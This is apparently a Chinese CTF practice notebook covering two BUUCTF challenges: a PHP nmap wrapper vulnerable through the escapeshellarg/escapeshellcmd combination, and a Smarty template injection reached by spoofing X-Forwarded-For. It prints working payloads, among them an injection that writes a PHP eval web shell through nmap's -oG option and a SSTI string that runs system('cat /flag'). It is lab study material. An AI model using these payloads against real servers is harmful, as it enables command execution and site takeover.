BUUCTF刷题笔记(十七)
§ [BUUCTF 2018]Online Tool
§ [BJDCTF2020]The mystery of ip
[BUUCTF 2018]Online Tool
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
?>
host 随便传个 ip 后执行 nmap 命令
escapeshellarg 给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
escapeshellcmd 反斜线(\)会在以下字符之前插入: & # ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ , \x0A 和 \xFF, ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替
' <?php @eval($_POST["ba2in9a"]);?> -oG ba2in9a.php '
' <?php @eval($_POST["ba2in9a"]);?> -oG ba2in9a.php '
' \<\?php @eval\(\$_POST\[\"ba2in9a\"\]\)\;\?\> -oG ba2in9a.php '
[BJDCTF2020]The mystery of ip
通过 X-Forwarded-For 或 Client-IP 伪造 ip 参数
Smarty SSTI PHP
{$smarty.version}
3.1.34-dev-7
{if phpinfo()}{/if}
{php}phpinfo();{/php} (仅在Smarty3.1的SmartyBC中有效)
X-Forwarded-For: {system(‘cat /flag’)}
BUUCTF刷题笔记(十七)
https://ba2in9a.top/fb8ce200